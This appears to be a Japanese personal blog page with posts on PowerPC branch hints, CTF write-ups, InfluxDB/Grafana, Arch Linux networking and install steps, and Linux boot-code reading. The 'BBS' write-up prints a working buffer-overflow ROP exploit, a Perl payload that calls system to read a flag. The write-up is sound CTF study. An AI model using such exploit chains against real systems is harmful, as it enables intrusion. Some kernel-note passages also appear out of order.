chroot("/home/hibari")

備忘録とかに使えそうなノート

PowerPCの条件分岐について

PowerPCアセンブリと戯れていると,x86アセンブリでは見かけないようなものがちらほらと散見される.その中でも,個人的に気になり面白いと思った条件分岐の1トピックについて取り上げてみようと思う.

x86でいうjmp系の命令はPowerPCではbranch系の命令になる.このbranch命令の末尾に"+"が付くことがある.参考文献には以下の記述がある.

On most conditional branch instructions, appending a + to the instruction will signal to the branch processor that this branch will probably be taken.

 つまり,基本的に分岐するであろう分岐命令には"+"をつけることでプロセッサに明示的に伝えられるということである."+"があるなら"-"もあるわけで,きちんと記述されている.

Appending a - to the instruction will signal that this branch will probably not be taken.

しかし,どうやら明示的に書かずともPOWER5 CPU以降は分良く分岐予測をしてくれるとのこと.

もちろん"+", "-"の違いで吐き出されるバイナリは異なる.最高.

 

個人的にこのプラスマイナス問題がとても気になったので,この2つで違いが生じるのかを確かめる簡単な実験をしてみた.

やったことはシンプルで概要は以下の通りである.

 

・多くループさせるような計算をさせる

・ループの分岐命令に"+", "-"の2通りを用いた関数をそれぞれ用意する

・それぞれを実行し,それらの実行時間を計測する

 

実験を行うために,配列の総和を計算する簡単なアセンブリプログラムを作成した.以下の通りである.違いは後半の分岐に"+"を使っているか"-"を使っているかだけである.これをCell Broadband Engineで実行させた.

 

add_array_asm_plus:
    li      0, 32767
    mtctr   0
    mr      9, 3
    xor     3, 3, 3
    xor     10, 10, 10

    lwzx    0, 9, 10
    add     3, 3, 0
    addi    10, 10, 4
    bdnz+   -0xc

    blr


add_array_asm_minus:
    li      0, 32767
    mtctr   0
    mr      9, 3
    xor     3, 3, 3
    xor     10, 10, 10

    lwzx    0, 9, 10
    add     3, 3, 0
    addi    10, 10, 4
    bdnz-   -0xc

    blr

 

これらの関数を10000回呼び出して計算させた.実験結果は以下の通りになった.

./a.out
add_array_asm_minus = 536854528
time = 1.141511 [s]
add_array_asm_plus = 536854528
time = 1.147471 [s]

1から32767までの総和を求めたが,結果も正しく出ていることが確認できた.そして肝心の実行時間であるが,ほとんど差が見られない結果となった.複数回実行して見たが似たような結果であった.

実験したあとで気付いたが,世代による違いの他にもパソコン向けのPowerPCとは異なるCell Broadband Engineを用いたためではないかとか,一概に言えない部分もあるが,これはこれで一つ実験による知見が得られた.アセンブリ楽しい.

【SECCON 2018】おそらく普通でないSpecial InstructionsのWriteup

SECCON 2018 online CTF 予選お疲れ様でした.

今年も予選に参加させていただきまして,自分はRevの2問(Special Instructions, Special Device)を解きました.

 

その中でもSpecial Instructionsについては,非常に頭悪く解いたためにWriteup書かなくてもいいかなどと考えていましたが,解けた時の謎の達成感があったため,書きたくなりました.

書いていきます.

 

Special Instruction

きっと他のプロの方達が丁寧でわかりやすいWriteupを書いてくださっていると思うので,事細かな詳細についてはそちらをご覧ください.

ものすごくざっくりと書くと,

バイナリが渡されるのだが,*unknown arch 0xdf* な実行ファイルであるためネイティブに実行させることはほぼ無理でしょうねーというもの.

そのためまずこれがなんのアーキテクチャの実行ファイルなのかを特定することから始まります.

結論から言うとMoxieアーキテクチャの実行ファイルでした.

そうと分かればあとはそれ用のobjdumpにかけてバイナリを読めば雰囲気は掴めるはず!

これまたざっくり書くとSEEDをxorshift32にかけた値とrandval, そしてflagの値をXORしたものを1byteずつ書き込んでフラグを作っているみたいです.

よーーーしエミュレートさせたら勝ちなんじゃないの!とやったのですが,Illegal Instructionで落ちます.

set_random_seedやget_random_value関数がそれぞれ0x16, 0x17という特殊な(架空の)命令で実装されているらしいです.

つまりこの命令が再現できるようにしないとフラグが取れないわけです.

というわけで,

 

そうと決まれば!!!!この命令を再現しよう!!!!

 

 

中で!!!!!!!

 

 

 

今思えば普通にCなりPythonなりで実装すればよかったと後悔していなくもないですが,やってしまったものは仕方ない.楽しいし?

なにをやったかと言えば,ひとことで言うと「0x16,0x17を再現するバイナリを直接書いた」です.

どこに書いたかというと,main関数の中でやたら文字列出そうとたくさん命令を吐いている部分があります.そこです.この部分はフラグ取得の演算とは全く関係ないので無慈悲に上書きしましょう.

 

解析しつつバイナリ書いたりしつつで分かったのですが,Moxieバイナリはとても書きやすいです.

命令部は全て1byteに固定されていますし,オペランドとなるレジスタ指定も4bitが2つで簡単に決められるため簡単な暗算でバイトコードが記述できます.

細かい違いはありますが,主な命令体系は以下の2タイプ

 

1.XX AB

2.XX Ax ii ii ii ii 

 

xxで1byteを表しています.

Xは命令,A,Bはそれぞれレジスタ,iは即値,xはdon't careとなっています.

レジスタ指定について,レジスタは$fp, $sp, $r0, $1, ..., $13の16個あります.そしてこの順番で設定されています.つまり,A = 0x2であれば$r0,A = 0xaであれば$r8といった具合です.

 

 

内部の実装

これでみんなMoxieの簡単なバイトコードが読める / 書けるようになったと思うので実装編行きましょう.

内部の実装は0x17命令(つまりxorshift32をしてくれる関数)をmainに図々しく上書きするだけです.

いきなりバイトコードで書くとしんどい思いしそうなので,まずはやりたいことをアセンブリ言語で記述します.簡単に書くと以下のようになりました.

ldi.l $r2, 0x1640
ld.l $r0, ($r2)
mov $r3, $r0
ldi.l $r4, 0xd
ashl $r3, $r4
xor $r0, $r3
mov $r3, $r0
ldi.l $r4, 0x11
lshr $r3, $r4
xor $r0, $r3
mov $r3, $r0
ldi.l $r4, 0xf
ashl $r3, $r4
xor $r0, $r3
st.l ($r2), $r0
ret

 

あとはこれに則ったバイトコードを記述して,前後関係をよしなにしてあげるだけです.この部分だけの出来上がったバイトコードは以下です.

01 40 00 00 16 40 0a 24 02 52 01 60 00 00 00 0d 28 56 2e 25 02 52 01 60 00 00 00 11 27 56 2e 25 02 52 01 60 00 00 00 0f 28 56 2e 25 0b 42 04 00

この通りとても簡単に関数が実装できます.前後関係をよしなにするために他にもバイナリを書き換えていますが,実装の心臓部は上のコードだけです.

最後に実行結果の写真を載せます.

Illegal Instructionで落ちないぞ!flagが出てくるバイナリができたぞ!

というわけでSECCON{MakeSpecialInstructions}がフラグです.

実際にSpecial InstructionをMakeしているから,出題者の意図は汲んでいるよね????

 

f:id:lcstmarck:20181030001155j:plain

 

というわけで簡単にはなりましたが以上になりますー,お疲れ様でした!

influxDBとGrafanaを使ってみた所感とその覚書

influxDBとGrafanaというものにすこしふれてみて「これはすごそう!」となったので,後に使うことになった時の備忘録としてやってみたことを書こうと思う.

 

influxDB

influxDBはタイムスタンプを伴った時系列に特化したデータベース.

とあるデータをデータベースに値を記録するときにタイムスタンプが自動的に押されて記録される.

利用例としてログやIoTセンサー記録,リアルタイム解析などに用いられる(下記サイト参照)

www.influxdata.com

 

influxDBの扱いについてはほとんど以下のブログを参考にさせていただきました.

この記事になぞらえて,Macだったのでbrewでインストールして,ちょこちょことさわってみた.

influxDBを実際にさわる前に別端末で以下をしてあげる必要がある.

$ influxd -config /usr/local/etc/influxdb.conf

とても柔軟なデータベースであるからか記録もとても簡単で扱いやすい.

kakakakakku.hatenablog.com

 

また,influxDBへのコマンドをまとめた日本語記事もあった.

qiita.com

 

influxDBへの接続

このサイトではRubyからinfluxDBに接続しているが,今回はPythonを用いてinfluxDBに接続する.

github.com

 

READMEに大まかなチュートリアルが記載されている.

導入はpipで行った

$ pip install influxdb

Exampleの欄には簡単な使用例が記載されている.

大まかな流れとしては,

InfluxDBClientでクライアントオブジェクトを生成する

create_databaseでデータベースを生成する

write_pointsでデータを突っ込む

となる.

上でデータベースにデータを突っ込むところについてはwrite_points()で行うと書いたが,この関数で登録するためのプロトコルはlineかjsonの2通りである.デフォルトではJSON形式が採用されている.

JSONで登録する際には「dictのlist」で表された記述をする必要がある.(Exampleより下記引用)

このうちtimeを省略した場合は,データベースに登録した際のタイムスタンプが押される.

json_body = [
    {
        "measurement": "cpu_load_short",
        "tags": {
            "host": "server01",
            "region": "us-west"
        },
        "time": "2009-11-10T23:00:00Z",
        "fields": {
            "value": 0.64
        }
    }
]

 

今回は例に用いられている↓のデータを用いて,lineで登録をしてみる.

https://s3.amazonaws.com/noaa.water-database/NOAA_data.txt

lineでの登録の仕方は簡単で,protocolにlineを指定してあげればよい. 

 

from influxdb import InfluxDBClient as idbc

filename = 'NOAA_data.txt'
f = open(filename)


client = idbc('127.0.0.1', '8086', 'root', 'root', 'NOAA_test')
client.create_database('NOAA_test')

for line in f:
	client.write_points(line, time_precision='s' protocol='line')

f.close()

 

実行したあとに確認してみた結果,データベースに登録されていて,クエリを投げることもできた.

> show databases
name: databases
name
----
_internal
NOAA_test

> use NOAA_test
Using database NOAA_test
> select count(*) from average_temperature
name: average_temperature
time count_degrees
---- -------------
0 15258

 

 

Grafana

Grafanaは時系列データをうまいこと可視化,グラフ化などをしてくれるスグレモノ.

grafana.com

 

先に挙げた参考サイトには「ぽちぽちやれば」と書いてあるが,そのぽちぽちが記載されていなかったため,ここで簡単に説明を加える.

先ほどのNOAA_testデータベースを適用して例をあげてみる.

導入はこれも同じくbrewで導入できる.

デフォルトでは3000番ポートに設定されているので,導入したらブラウザで"http://localhost:3000"と入力して飛ぶと,以下のログイン画面が表示される.

デフォルトでは「admin / admin」でログインできる.

f:id:lcstmarck:20180929004554p:plain

 

はじめにデータベースを設定する.設定は以下のようにした.一部insecureな設定をしているが,ローカル環境で行なっているため気にしないこととした.

あとはURL欄で"localhost"ではなく,127.0.0.1と明記しているのはうっかりIPv6と解釈されて502 Bad Gatewayなんて返されるのは御免だからである.

データベースにうまく繋がると下のところに緑の四角が出てくる.

f:id:lcstmarck:20180929005053p:plain

f:id:lcstmarck:20180929005123p:plain

 

Backを選択すると,Data Sourcesで"NOAA_test"ができている.

左の+を押すとGraphやTableなどの表が出てくる.今回はGraphに少し触れてみる.

f:id:lcstmarck:20180929005816p:plain

 

Graphを押すとそれらしい枠が出てくるので,グラフ上でeを押すか,Panel Titleの部分をクリックしてEditを選択する.デフォルトではこのような感じ.

f:id:lcstmarck:20180929011116p:plain

選択するとSQLクエリのような枠が出てくるので,それに合わせてクエリを投げてみる.Data Sourceの部分は明示的に"NOAA_test"にしておくと混乱せずに済みそうである.今回は単純に以下のクエリを投げた.

select field(degrees) from average_temperature

もしかしたらここでそれらしい表示があるかもしれないが,おそらくNo data pointsのままであると思う.このNOAA_data.txtのデータは2015年8月ー2015年9月のデータであるため,見ている時間が違うために表示されない.

そのため,右上の時間を例えばLast 5 yearsに変更してみると,以下のようになにやらまとまった何かが生じると思う.

f:id:lcstmarck:20180929011832p:plain

 

該当部分を範囲指定すると,その部分にフォーカスされて拡大される.だいぶそれらしいグラフが出てきた.縮小するには上のマイナス虫眼鏡をクリックするか,グラフをダブルクリックする.

f:id:lcstmarck:20180929012144p:plain

 

Legend枠にあるMax, Min, Avgを選択すると,凡例部分にグラフ表示されている部分の具体的な数値を表示してくれる.

f:id:lcstmarck:20180929012445p:plain

 

 

 

以上,influxDBとGrafanaを軽くふれてみたものをまとめてみた.

時系列データに強いツールなのでこの二つの相性はとても良く,また使い勝手も良さそうである.

netctlでWPA2 Enterpriseの接続を行う設定

archlinuxで必要最低限のインストールを終えた直後はGUI環境もないので,殊にWi-fiに繋ぎたい時はCUI環境でネットワークに繋ぐ必要がある.ただ家庭内LANならともなく,外出先ではWPA2 Enterpriseで接続する必要がある場合がある(eduroamとか).

数少ない経験値から,CUIでもお手軽にWi-fiに接続できるwifi-menuがあるのだが,デフォルトではWPA2 Enterpriseでの認証をすることなくあっけなく認証に失敗する(そもそもユーザ名すら聞かれない)

 

そこでnetctlを使用して手動で設定することにしたのでその備忘録を書く.

参考になったのはこちら

[SOLVED] Connecting eduroam network via netctl / Networking, Server, and Protection / Arch Linux Forums

 

GUIで接続を試みているようだが,解決策自体はCUIのみで可能.ここを参考に自分の環境用に書き換えたものが以下になる.

証明書が必要な場合は参考ページのように

   'ca_cert="/etc/ssl/certs/thawte_Premium_Server_CA.pem"'

が必要になる.

 

Description='your_SSID'
Interface='wlp3s0'
Connection='wireless'
IP='dhcp'
ESSID='your_SSID'
Security='wpa-configsection'
WPAConfigSection=(
   'ssid="your_SSID"'
   'key_mgmt=WPA-EAP'
   'eap=PEAP'
   'proto=WPA RSN'
   'identity="username"'
   'password="my-password"'
   'phase2="auth=MSCHAPV2"'
)

 

参考ページの最初の解決策では,phase2="auth=MSCHAPv2"となっているが,vは大文字のVを書くこと.下記リンクに飛ぶと該当箇所の注意書きが書かれている.

WPA supplicant - ArchWiki

 

この設定でnetctlを使って接続すれば無事に接続することができた

$ sudo netctl start <config_file> 

 

SECCON BeginnersCTF 2018 "BBS" を頭悪く解いた Write-up

SECCON BeginnersCTF 2018,お疲れ様でした.

遅刻したお一人様チームでの参加でしたが,100位台に乗れたのと,このBBSが解けたので個人的に満足してしまってます.

 

どう頭が悪いかというのは,「世の中には便利ツールやライブラリがあるのに全然活用していない(出来ていない)」あたりです.

今回の場合,終わってからrp++とかgdb-pedaを使えばいいものを,それらの名前や導入方法が全く思い出せなかったのでええいそのままやってまえーとやってしまいました.

先人のっょぃ方々がすでに上げておられますWrite-upとは方針こそ同じですが,微妙に違うやり方になってると思います.

(あとは自分のためにも思考プロセスも書いていこうと)

前半は基本中の基本しか述べてなかったので,新鮮そうなところから読みたい方はここまで飛ばしてください

 

基本動作は"Input Content:"の後に適当に入力すると,日付の後にその入力が出てくる.

 

$ ./bbs
Input Content : hoge

==============================

Sun May 27 08:33:31 UTC 2018
hoge

==============================

 

アセンブルの出力を見るとsystem@pltがあるので,ここにコマンドが入れられればいいなあとなります

 

   0x00000000004006c4 <+35>: call   0x400570 <gets@plt>

   0x00000000004006c9 <+40>: mov    edi,0x4007a0

   0x00000000004006ce <+45>: call   0x400520 <puts@plt>

   0x00000000004006d3 <+50>: mov    edi,0x4007c1

   0x00000000004006d8 <+55>: call   0x400540 <system@plt>

   0x00000000004006dd <+60>: lea    rax,[rbp-0x80]

   0x00000000004006e1 <+64>: mov    rsi,rax

   0x00000000004006e4 <+67>: mov    edi,0x4007c8

   0x00000000004006e9 <+72>: mov    eax,0x0

   0x00000000004006ee <+77>: call   0x400550 <printf@plt>

 

"lea rax,[rbp-0x80]"が直前にあり,かつgetsがあるのでそれでBOFさせたらSegmentation faultで落ちてくれるだろうと.

main関数の中で自作の関数のcallがないので,main関数のretの時に落ちてくれるだろうと.適当にながーい文字列入れたら案の定落ちてくれました.

 

ここでの思考は「BOFでsystem@pltに導いてあげればよさそう」です.

それだけの頭で何も考えずに,スタックに"/bin/sh"と,そのアドレスを用意して引数を積んでsystem@pltにretさせようと必死になってました.

 

当たり前の話ですが,動作するわけないです.

引数はスタックに積むのではなく,レジスタに格納する(第一引数はediレジスタ)スタイルです.

pwnの経験がほとんどない自分は一旦ここで詰みました.無理じゃないか!!!と

 

何も出来ないまま思考することしばらくして,「もしかして,これが俗に言うROPなのでは...?」となりました.

現時点で欲しいのは「任意のアドレスをediレジスタに入れる」ことだけ(と思っていた)ということもあって,これくらいなら自分でも出来そうと,頑張ってみました.

 

 

 

さて,ここからがおそらく他の方と違うやり方であり,頭の悪いやり方の山場になります.

 

 

次につなげるための脱線話

 

生のバイナリの逆アセンブルの規則の一つとして,レジスタの割り当ての順番は

rax → rcx → rdx → rbx → rsp → rbp → rsi → rdi

の順番で命令のレジスタ指定がなされます.

どういうことかというと,例えば「pop %rax」は生のバイナリでは0x58です.これをベースと考えると,

pop %rax : 0x58

pop %rcx : 0x59

pop %rdx : 0x5a

pop %rbx : 0x5b

とベース命令が分かればあとはオフセットと足していくと,生のバイナリから逆アセンブル結果を推定できることがあります.

 

今回はrdiレジスタはオフセットが7なので,「pop %rdi」は,0x58 + 7 = 0x5fと考えることができます.

 

この考え方は,地味に2オペランドの場合でも似たような規則が適用できることがあります.

オペランドを要する命令の逆アセンブルするときの形式は,

 (prefix) [operation] [register] (immediate)

という理解をしています.()は該当する時に追加されます.

(prefix)はr8 ~ r15レジスタが絡んでいたり,一部の64-bit演算に41や48など主に4で始まる数字が先頭にくっついています.

この[register]の部分も先ほどと同様のルールが使えます.

registerのベースとなるのは,「%rax, %rax」で"0xc0"です.

c0 : %rax, %rax

c1 : %rax, %rcx

c2 : %rax, %rdx

c3 : %rax, %rbx

...

c7 : %rax, %rdi

c8 : %rcx, %rax

c9 : %rcx, %rcx

...

cf : %rcx, %rdi

d0 : %rdx, %rax

...

ff : %rdi, %rdi

ある種の整数の繰り上がりのようにレジスタの組み合わせと,そのオフセットが上がって行きます.

例えば,"48 31 c9"というバイナリが出て来た時,

48 ... prefix

31 ... operation

c9 ... register

と分解して考えることができます.(一概には言えないかもしれませんが...)

経験則ですが48は,r-prefixのレジスタを用いた算術演算などでよく出てきます.31はXOR命令です(これは覚えるもの(?)).

次にc9ですが,上の一部の対応表から「%rcx, %rcx」に対応するので,この3byteは「XOR %rcx, %rcx」と翻訳できます.

 

 

脱線話終わり

 

 

話を戻すと,ROPを構築するためにほしいものは「pop %rdi;  ret」です.上の脱線話から,脳内でバイナリに置き換えると「5f c3」になります.なのでこれが問題バイナリに存在していないかの探索をします.

 

$ hexdump -C bbs | grep "5f c3"
00000760 41 5e 41 5f c3 90 66 2e 0f 1f 84 00 00 00 00 00 |A^A_..f.........|

 

オフセット0x763に「pop %rdi;  ret」がありました.

なので,mainから0x400763にretすれば任意の値をrdiレジスタに格納すること出来そうです.

 

あとは,実行させるコマンドの文字列が欲しい.gets@pltがあるのでこれを活用しよう.書き込みに必要なバッファは.data領域が使えそうなのでアドレスを特定したところ,0x601048でした.

 

$ readelf -S bbs | grep .data
[16] .rodata PROGBITS 0000000000400780 00000780
[25] .data PROGBITS 0000000000601048 00001048

 

最終的な方針としては,

main → 0x400763 → gets@plt → 0x400763 → system@plt

と遷移できるようにROPをすれば良さそうです.

 

ここでも頭の悪さというかなんというか,pythonが扱えないのでperlで地道に書いていました.

$offset = "A"x0x78;

$tmp = "\x00\x00\x00\x00\x00\x00\x00\x00";

$buf_addr = "\x48\x10\x60\x00\x00\x00\x00\x00";

$system = "\x40\x05\x40\x00\x00\x00\x00\x00";

$gets = "\x70\x05\x40\x00\x00\x00\x00\x00";

$rop = "\x63\x07\x40\x00\x00\x00\x00\x00";

print $offset.$tmp.$buf_addr.$rop.$buf_addr.$gets.$rop.$buf_addr.$system;

print "\n";

print 'cat flag.txt'; 

 

$ ./solve.sh
Input Content :
==============================

Sun May 27 18:55:38 JST 2018
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA

==============================
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}

Windows10がいる状態でのarchlinux再インストール【備忘録】

はじめに述べておくと最終的には成功したが,少し乱暴な設定による成功なので良しと出来るかと言われると微妙なところである.

 

Windows10がインストールされているが,元はWindows7からアップグレードして出来たものなのでブート環境はBIOSシステムである.

このご時世UEFIじゃないなんて...

 

毎度おなじみインストールガイドに沿って進めていく.

インストールガイド - ArchWiki

 

インストールバトルに関しては数多の記事が存在しているので詳しいことはそれらか,インストールガイドを見ることとして,以下はコマンドのメモ 

loadkeys jp106

fdisk /dev/sda

 d (delete)

 7 (/dev/sda7)

 n (new)

 (Enter) (First sector default)

 +15G (/)

 N (delete ext4 signature?)

 n (new)

 (Enter) (First)

 (Enter) (Last /home)

 (ここでデフォルトでLinuxで設定される)

 w (write)


mkfs.ext4 /dev/sda7

 y (Proceed anyway?)

mkfs.ext4 /dev/sda8

 y (Proceed anyway?)

 

mount /dev/sda7 /mnt

mkdir /mnt/home

mount /dev/sda8 /mnt/home

ping 8.8.8.8

timedatectl set-ntp true

vim /etc/pacman.d/mirrorlist

pacstrap /mnt base base-devel

genfstab -U /mnt >> /mnt/etc/fstab

arch-chroot /mnt

ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime

hwclock --systohc --utc

vi /etc/locale.gen

locale-gen

echo LANG=en_US.UTF-8 > /etc/locale.conf

echo KEYMAP=jp106 > /etc/vconsole.conf

echo myhostname > /etc/hostname
vi /etc/hosts

 127.0.0.1 localhost.localdomain localhost

 ::1 localhost.localdomain localhost

 127.0.1.1 myhostname.localdomain myhostname

pacman -S iw wpa_supplicant dialog

passwd

 

この後,ブートの箇所をやっていく

pacman -S grub os-prober 

GRUBを導入しようとする

grub-install --target=i386-pc /dev/sda

os-prober ← エラーで動作しなかった

grub-mkconfig -o /boot/grub.d/grub.cfg

os-proberがエラー起こした時点でデュアルブートが失敗することは明らかだったけれど,この時の自分は何を思ったかそのまま進んだ.

exit

umount -R /mnt

poweroff

USBを抜いて起動する.そして案の定"Arch linux"のみの表示. 

 

どうしたものかとそのままarchlinuxをブートしてしばし調べる

 

UEFI環境下でのgrubでLinuxとWindows 10をデュアルブートする - 備忘録 blog

 

この記事で少し似ている環境と思い,Win10がEFIパーティションとのたまう/dev/sda1をマウントしてGRUBをインストールしてしまおうと考えた.

が,grub-installで「ここEFIの領域じゃないと思うんだけど」といったエラーが返ってきた.そうかーそうだよねーと何も考えずにos-proberを実行したら"Windows 10"の文字が出てくる.bootableフラグが立っているパーティションをマウントしたらos-proberが認識する...?

 grub-mkconfig -o /boot/grub.d/grub.cfg

 これをしてreboot.するとWindows10 (/dev/sda1)の選択肢が出てきた.

「よくわからないけど動いた」という記事としてはとてもよくない結論になってしまったが,動いた.

今度自分が再インストールする時のための備忘録として記録する.

 

 

 

(このご時世UEFIじゃないなんて...)

linuxカーネル読書がしたい(ブート編4)

前回に引き続き読書を続けて行く.main.cの読書の続きから.

 

main.c(リアルモードでのカーネルコードモジュール)

・0ページ目にブートヘッダをコピー

・early-bootコンソールの初期化(コンソールの準備)

・ヒープの初期化

・CPUの検証

BIOSをどのCPUモードで使うかの設定

・メモリレイアウトの検出

・キーボードの初期化

Intel SpeedStep (IST) 情報の照会

・(もし定義されていれば)APM情報の照会

・(もし定義されていれば)EDD情報の照会

↓このページはここから

・ビデオモードの設定

・プロテクトモードへの移行

↑ここまで

 

 

set_video()

まずはヒープ領域のリセット.具体的にはHEAP = _end.(ヒープの先頭アドレス)

 
store_mode_params()

後々カーネルが使う為にビデオモードパラメータをストアする.BIOSに問い合わせることでなされるが,行列パラメータは除かれ,(テキスト解像度)80x25モードと直接セットする.というのも,あるBIOSからはとんでもな値が来てしまうことがあるからである.

テキスト解像度は画面上にテキストを何文字表示できるかの数字を表している.以下のURLの最初の画像がわかりやすい.

http://www008.upp.so-net.ne.jp/pocketbsd/dump.html

 
store_cursor_position()

カーソル位置のストア.

ah=0x03を指定してint 0x10を実行して,カーソル位置とサイズを取得.

返り値は以下の通りである.

ch:カーソルが始まるスキャンラインのスタート位置

cl:カーソルが始まるスキャンラインの終わりの位置

dh:カーソルの行(0x00は一番上)

dl:カーソルの列(0x00は一番左)

これにより,boot_params.screen_info.orig_xにはdl,yにはdhを代入する.

chの6bit目が立っている,もしくはchの下位5bit > clの下位5bitの時

boot_params.screen_info.flagsにVIDEO_FLAGS_NOCURSORを付加する.

 

===== store_cursor_position ここまで =====

 
store_video_mode()

ビデオモードのストア.しかしどこでもページは0と仮定しているためここでビデオモードのストアは少し愚行かもしれないとされている.

ahに0x0fを指定してint 0x10を実行して現在のビデオモードを取得する.返り値は以下の通りである.

al:ディスプレイ(ビデオ)モード

bh:アクティブ(ビデオ)ページ

alのモードについての詳細は以下のURLに記載されている.

http://www.delorie.com/djgpp/doc/rbinter/it/10/0.html

今回はalの下位7bitをboot_params.screen_info.orig_video_modeに取得し,bhをboot_params.screen_info.orig_video_pageに取得する.

 

===== store_video_mode ここまで =====

 

↑の関数で取得したビデオモードが0x07の時にはビデオセグメントを0xb000にして,それ以外の時には0xb800にセットする.

前者はモノクロのMDA,HGC,VGAで,

後者はCGA,EGA,VGAなどの時であるとコメントされている. 

fsレジスタを0にセットする.

fs:0x485の2バイトをfont_sizeに指定し,boot_params.screen_info.orig_video_pointsに代入.(BIOSエリアから持って来ている?)

xをfs:0x44aからの2バイト,yをfs:0x484からの1バイト+1(CGAの時は25固定)にセット.

強制的にx,yをセットする時には↑のあとでセットし直す.

boot_params.screen_info.orig_video_cols = x
boot_params.screen_info.orig_video_lines = y

 

===== store_mode_params ここまで =====

 
save_screen()

スクリーン情報をセーブする関数.セーブ対象を設定しているstore_mode_params()の後で呼ぶべきとされている.

つい先ほど↑のstore_mode_paramsで得たx, yとカーソルのx, yをセーブ用の構造体に保存する.

ここでスクリーン分+512のヒープ領域があるかの確認をする.この確認はboot.hに定義されているheap_freeであるが,非常にシンプルなので以下に載せる.(malloc - freeのfreeではない)

212 static inline bool heap_free(size_t n)
213 {
214     return (int)(heap_end-HEAP) >= (int)n;
215

ついでにその直後で呼ばれるGET_HEAPの内部で動く__get_heapも以下に載せる

200 static inline char *__get_heap(size_t s, size_t a, size_t n)
201 {
202     char *tmp;
203
204     HEAP = (char *)(((size_t)HEAP+(a-1)) & ~(a-1));
205     tmp = HEAP;
206     HEAP += s*n;
207     return tmp;
208 }

つまり現在のヒープの指し示されたアドレスからアライメントされた分を足したアドレスを返し,ヒープの指すアドレスを指定されたサイズ分増やしておくものである.

このGET_HEAPでスクリーン情報を保存したアドレスをdataに格納する.

ビデオセグメントの先頭からスクリーン分の情報をヒープ領域のdataアドレスへコピーする.(copy_from_fsは事実上のmemcpyをしている)

 

===== save_screen ここまで =====

 
probe_cards(int unsafe)

ビデオドライバを探し,モードリストを作らせる.unsafeには0か1が指定される.

video_cardsのアドレスはsetup.ldに定義されている.card_info構造体の定義を以下に載せる.video.hより.

 72 struct card_info {
 73     const char *card_name;
 74     int (*set_mode)(struct mode_info *mode);
 75     int (*probe)(void);
 76     struct mode_info *modes;
 77     int nmodes;     /* Number of probed modes so far */
 78     int unsafe;     /* Probing is unsafe, only do after "scan" */
 79     u16 xmode_first;    /* Unprobed modes to try to call anyway */
 80     u16 xmode_n;        /* Size of unprobed mode range */
 81 };

probe関数があるなら,探索させてnmodes(これまで探索されたモード数)を格納する.ないならnmodesを0に指定する.

 

===== probe_cards ここまで =====

 

unsafe=0でcard_probeを呼び出しnmodesを探索させる.その後のfor文は以下のようになっている.

329     for (;;) {
330         if (mode == ASK_VGA)
331             mode = mode_menu();
332
333         if (!set_mode(mode))
334             break;
335
336         printf("Undefined video mode number: %x\n", mode);
337         mode = ASK_VGA;
338     }

modeはset_videoの先頭で定義されたmode = boot_params.hdr.vid_modeから.

ASK_VGAであればmode_menu()して,そこから得たmodeをセットして0が返って来たらfor文を抜け,そうでなければ知らないビデオモードとし,先頭のmode_menu()の呼びだしに戻るものである.

 
mode_menu()

kbd_flushはキーボードがpending(保留中)でなければget_char()し続けるもの.

さきほどprobeしたカード情報をdisplay_mode()で表示させて選んだものを返す.もし"scan"と入力した時にはunsafe=1としてprobe_cardsを呼び出す.

 

#define H(x) *1;

となっている.code32のスタート地点のポインタと,ブートパラメータのポインタをdsレジスタに乗せた値の2つが引数となっている.

アセンブラコードを読んだ要約は以下

ーーーーーーーーーー

コードセグメントアドレスをラベル2に足しこむ(addl %ebx, 2f??)

ブートデータセグメントをcx,ブートTSS(Task State Segment)をdiに読み込む

cr0にプロテクトモードフラグをセット

in_pm32にljmpl

フラット32-bitモードのためにデータセグメントをセット.具体的には先ほどのブートデータセグメントをds, es, fs, gs, ssにコピー.

コードセグメント分espを足す.

TSSを選択するレジスタからタスクレジスタをロードする.(LTR命令)

ecx,edx,ebx,ebp,ediを0クリア

LDT(Local Descriptor Table)をロード.(LLDT命令)

LTRとLLDTはIntel VTを円滑にするために用いられる?

32-bitエントリポイントへジャンプ

ーーーーーーーーーー

これで実際に32-bitプロテクトモードへジャンプした

===== go_to_protected_mode ここまで =====

 

 

リアルモードでの動作を4回に渡って読書していったが,知らない単語が多かったため進むのに手こずってしまった.加えて読書の精度は著しく低いため,後日再び2周目の読書をした方がいいと思った.

 

参考

http://www.hdmi-navi.com/edid/

https://e2e.ti.com/group/jp/b/microcontroller/archive/2016/07/20/q-a-23-nmi

http://wiki.osdev.org/CMOS#Reading_from_the_CMOS

http://www.wiki.os-project.jp/?A20

http://wiki.osdev.org/Global_Descriptor_Table

*1:x)-'a'+10)の意味?

 

===== mode_menu ここまで =====

 

mode_menuで選んだモードがboot_params.hdr.vid_modeになる.

 
vesa_store_edid()

EDID情報をカーネルの為にセーブする.EDID(Extended Display Identification Data)とはディスプレイなどのシンク機器が内蔵するその機器の情報や対応する能力などが記述された「機器固有の識別データ」である.(参考URLより一部抜粋)

 

===== vesa_store_edid ここまで =====

 

ここで再びstore_mode_paramsでモードパラメータをセーブする.

do_restoreフラグがセットされていたらセーブしたスクリーンをレストアする.

 

restore_screen()

スクリーンをレストアする.

 

===== restore_screen ここまで =====

===== set_video おわり =====

 

 

go_to_protected_mode()

プロテクトモードへの移動をする.

realmode_switch_hook()

リアルモードへのスイッチフックが有効ならそれを呼び出し,そうでないなら全ての割り込みを無効にする処理を行う.

boot_params.hdr.realmode_swtchに関数が入っているならlcallwで呼び出す.そうでないならcliを実行して割り込みを禁止する.elseについて,0x70ポートに0x80を出力しているが,コメントによればNMIを無効にしているようである.NMI(Non Maskable Interrupt)とはマスクできない割り込みであり,本当に緊急で割り込みを入れなければならない時に使うものである.

outb 0x80, 0x70とは,CMOSのI/Oポートに0x80のビットをセットすることでNMIを無効にしている.このビットが0の時にはNMIは有効であるという.

NMIを無効にしたら,0x80ポート(DELAY_PORT)にalの値を書き込んでI/O delayを行う.

 

===== realmode_switch_hook ここまで =====

 

次にA20ゲートを有効にする.A20は1MiB以上のメモリを使う時に有効でなければならないアドレスバスゲート.マシン起動直後は互換性のためにA0〜A19までに制限されていることが多いようである.有効にできなければブートが出来ないとしてdie()を呼び出す.

 

reset_coprocessor

FPUのIGNNE#がアサートされていたらリセットする.

